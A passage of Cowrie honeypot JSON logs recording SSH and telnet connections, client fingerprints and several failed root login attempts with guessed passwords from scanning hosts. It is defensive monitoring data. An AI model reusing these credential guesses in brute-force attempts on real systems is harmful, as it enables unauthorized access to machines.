-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:03.985019Z","src_ip":"82.152.132.24","session":"7cdf174c6f3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testdummy","message":"login attempt [root/testdummy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:04.523407Z","src_ip":"82.152.132.24","session":"7cdf174c6f3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.64811038970947,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:04.892374Z","src_ip":"152.42.224.71","session":"b8d063f9ddb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:05.652733Z","src_ip":"82.152.132.24","session":"7cdf174c6f3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.25333309173584,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:10.313263Z","src_ip":"152.42.224.71","session":"1b756c070e0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.135.168.228","src_port":49217,"dst_ip":"159.203.135.109","dst_port":22,"session":"43c3fb2206b5","protocol":"ssh","message":"New connection: 213.135.168.228:49217 (159.203.135.109:22) [session: 43c3fb2206b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:15.806497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:15.811221Z","src_ip":"213.135.168.228","session":"43c3fb2206b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:15.951423Z","src_ip":"213.135.168.228","session":"43c3fb2206b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"white","message":"login attempt [root/white] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:16.541247Z","src_ip":"213.135.168.228","session":"43c3fb2206b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":42490,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c3c4a7c76bb","protocol":"ssh","message":"New connection: 194.59.206.2:42490 (159.203.135.109:22) [session: 9c3c4a7c76bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:17.173505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:17.177754Z","src_ip":"194.59.206.2","session":"9c3c4a7c76bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:17.268734Z","src_ip":"194.59.206.2","session":"9c3c4a7c76bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:17.363854Z","src_ip":"194.59.206.2","session":"9c3c4a7c76bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:17.687590Z","src_ip":"213.135.168.228","session":"43c3fb2206b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.993924617767334,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:30.673522Z","src_ip":"152.42.224.71","session":"68d8fe13e911","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.17384195327759,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:34.708331Z","src_ip":"152.42.224.71","session":"0c47d2b95ba6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.599766969680786,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:38.705077Z","src_ip":"152.42.224.71","session":"206a495968ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":44902,"dst_ip":"10.17.0.5","dst_port":22,"session":"131ada538fb6","protocol":"ssh","message":"New connection: 80.94.92.184:44902 (10.17.0.5:22) [session: 131ada538fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:44.449709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:44.624435Z","src_ip":"80.94.92.184","session":"131ada538fb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:44.628066Z","src_ip":"80.94.92.184","session":"131ada538fb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43690,"dst_ip":"10.17.0.5","dst_port":23,"session":"b23166fc9962","protocol":"telnet","message":"New connection: 152.42.224.71:43690 (10.17.0.5:23) [session: b23166fc9962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:45.873203Z"}
{"eventid":"cowrie.login.failed","username":"solv","password":"banx","message":"login attempt [solv/banx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:46.883297Z","src_ip":"80.94.92.184","session":"131ada538fb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:48.615288Z","src_ip":"80.94.92.184","session":"131ada538fb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.132.125.41","src_port":53168,"dst_ip":"159.203.135.109","dst_port":22,"session":"b03f5b17a2ba","protocol":"ssh","message":"New connection: 45.132.125.41:53168 (159.203.135.109:22) [session: b03f5b17a2ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:52.919910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:52.924919Z","src_ip":"45.132.125.41","session":"b03f5b17a2ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:53.025900Z","src_ip":"45.132.125.41","session":"b03f5b17a2ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qian","message":"login attempt [root/qian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:53.463939Z","src_ip":"45.132.125.41","session":"b03f5b17a2ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:54.567292Z","src_ip":"45.132.125.41","session":"b03f5b17a2ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00680685043335,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:23:00.539262Z","src_ip":"152.42.224.71","session":"37461df4e415","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":110.1038875579834,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:23:02.584275Z","src_ip":"152.42.224.71","session":"3b282394dbb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41358,"dst_ip":"10.17.0.5","dst_port":23,"session":"181af1a292d8","protocol":"telnet","message":"New connection: 152.42.224.71:41358 (10.17.0.5:23) [session: 181af1a292d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:23:05.472699Z"}
{"eventid":"cowrie.session.closed","duration":120.00190711021423,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:23:05.519680Z","src_ip":"152.42.224.71","session":"5b7548791d97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52030,"dst_ip":"10.17.0.5","dst_port":23,"session":"760e56173cd5","protocol":"telnet","message":"New connection: 152.42.224.71:52030 (10.17.0.5:23) [session: 760e56173cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:23:09.287991Z"}
{"eventid":"cowrie.session.closed","duration":5.097021579742432,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:23:14.384905Z","src_ip":"152.42.224.71","session":"760e56173cd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":117.35310745239258,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:23:21.796893Z","src_ip":"152.42.224.71","session":"671b2641d383","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34474,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8567f5b6ea2","protocol":"telnet","message":"New connection: 152.42.224.71:34474 (10.17.0.5:23) [session: f8567f5b6ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:23:24.667923Z"}
{"eventid":"cowrie.session.closed","duration":45.09210252761841,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:23:30.965166Z","src_ip":"152.42.224.71","session":"b23166fc9962","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53680,"dst_ip":"10.17.0.5","dst_port":23,"session":"47648e729569","protocol":"telnet","message":"New connection: 152.42.224.71:53680 (10.17.0.5:23) [session: 47648e729569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:23:33.224669Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.240.31","src_port":51536,"dst_ip":"159.203.135.109","dst_port":22,"session":"26921aaa03e5","protocol":"ssh","message":"New connection: 101.32.240.31:51536 (159.203.135.109:22) [session: 26921aaa03e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:23:33.561769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:23:33.566145Z","src_ip":"101.32.240.31","session":"26921aaa03e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:23:33.798755Z","src_ip":"101.32.240.31","session":"26921aaa03e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Summer","message":"login attempt [root/Summer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:23:34.753886Z","src_ip":"101.32.240.31","session":"26921aaa03e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:23:35.987534Z","src_ip":"101.32.240.31","session":"26921aaa03e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.80.19.210","src_port":34400,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2e8a475f645","protocol":"telnet","message":"New connection: 47.80.19.210:34400 (10.17.0.5:23) [session: d2e8a475f645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:23:56.413531Z"}
{"eventid":"cowrie.session.closed","duration":35.410855531692505,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:00.078686Z","src_ip":"152.42.224.71","session":"f8567f5b6ea2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":38530,"dst_ip":"10.17.0.5","dst_port":22,"session":"c12f69611765","protocol":"ssh","message":"New connection: 77.94.47.83:38530 (10.17.0.5:22) [session: c12f69611765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:05.510542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:05.514922Z","src_ip":"77.94.47.83","session":"c12f69611765","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:05.640046Z","src_ip":"77.94.47.83","session":"c12f69611765","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345trewq","message":"login attempt [root/12345trewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:06.011932Z","src_ip":"77.94.47.83","session":"c12f69611765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.23194098472595,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:06.704521Z","src_ip":"152.42.224.71","session":"181af1a292d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:07.148353Z","src_ip":"77.94.47.83","session":"c12f69611765","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55676,"dst_ip":"10.17.0.5","dst_port":23,"session":"3538ef673267","protocol":"telnet","message":"New connection: 152.42.224.71:55676 (10.17.0.5:23) [session: 3538ef673267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:10.639796Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":35914,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f49447e909a","protocol":"ssh","message":"New connection: 103.98.149.87:35914 (159.203.135.109:22) [session: 5f49447e909a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:15.097715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:24:15.102668Z","src_ip":"103.98.149.87","session":"5f49447e909a","protocol":"ssh"}
